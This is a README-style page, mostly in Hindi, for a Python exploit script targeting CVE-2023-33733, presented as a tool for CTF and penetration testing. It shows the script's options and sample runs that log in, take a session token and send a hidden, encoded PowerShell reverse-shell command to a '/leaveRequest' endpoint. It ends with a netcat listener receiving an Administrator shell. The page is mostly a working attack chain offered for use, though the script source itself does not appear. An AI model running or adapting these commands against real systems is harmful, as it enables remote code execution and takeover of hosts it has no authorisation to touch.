
CVE-2023-33733 को लक्षित करने वाली Python शोषण स्क्रिप्ट वेब अनुप्रयोगों के लिए। पैठ परीक्षण और CTF वातावरण के लिए प्रमाणीकरण, सत्र निष्कर्षण और रिवर्स शेल वितरण को स्वचालित करता है।
मैंने यह भेद्यता खोजी नहीं है, और न ही मैं इसका श्रेय लेता हूँ। यह केवल एक स्क्रिप्ट है जिसे मैंने CTF के लिए इस भेद्यता का अधिक आसानी से शोषण करने हेतु बनाया है। मूल जानकारी के लिए कृपया देखें: https://github.com/c53elyas/CVE-2023-33733
यह स्क्रिप्ट केवल CVE-2023-33733 का शोषण करने के लिए एक त्वरित Python3 स्क्रिप्ट के रूप में अभिप्रेत है। आपको होस्ट, पोर्ट, कमांड और एक मान्य सत्र कुकी प्रदान करनी होगी।
kali@kali:~/Desktop$ python3 exp.py --help
usage: foothold.py [-h] --host HOST --port PORT --cmd CMD --session SESSION
options:
-h, --help show this help message and exit
--host HOST
--port PORT, -p PORT
--cmd CMD, -c CMD
--username USERNAME, -u USERNAME
--password PASSWORD, -ps PASSWORD
--session SESSION, --cookie SESSION, -sc SESSION
Session cookie
kali@kali:~/Desktop$ python3 exp.py --host "vuln.server" --port 80 --cmd "powershell -nop -w hidden -e <your revshell code here>" --username "<your username here>" --password "<your password here>"
[*] Logging in to http://vuln.server:80
Retreived session cookie: SESSION=...
[*] Extracting session token...
[*] Token extracted: .abc.xyz
[*] Building Exploit...
[*] Exploit built
[*] Preparing request
[*] Sending request to http://vuln.server:80/leaveRequest
[*] Sending a reverse shell should cause request to hang
[*] Request sent
[*] Probable success. Status Code 504
kali@kali:~/Desktop$ python3 exp.py --host "vuln.server" --port 80 --cmd "powershell -nop -w hidden -e <your revshell code here>" --session "<your cookie here>"
[*] Building Exploit...
[*] Exploit built
[*] Preparing request
[*] Sending request to http://vuln.server:80/leaveRequest
[*] Sending a reverse shell should cause request to hang
[*] Request sent
[*] Probable success. Status Code 500
# लिसनर
kali@kali:~/Desktop$ nc -lnvp 9001
connect to [10.10.10.2] from (UNKNOWN) [10.10.10.1] 50246
whoami
Administrator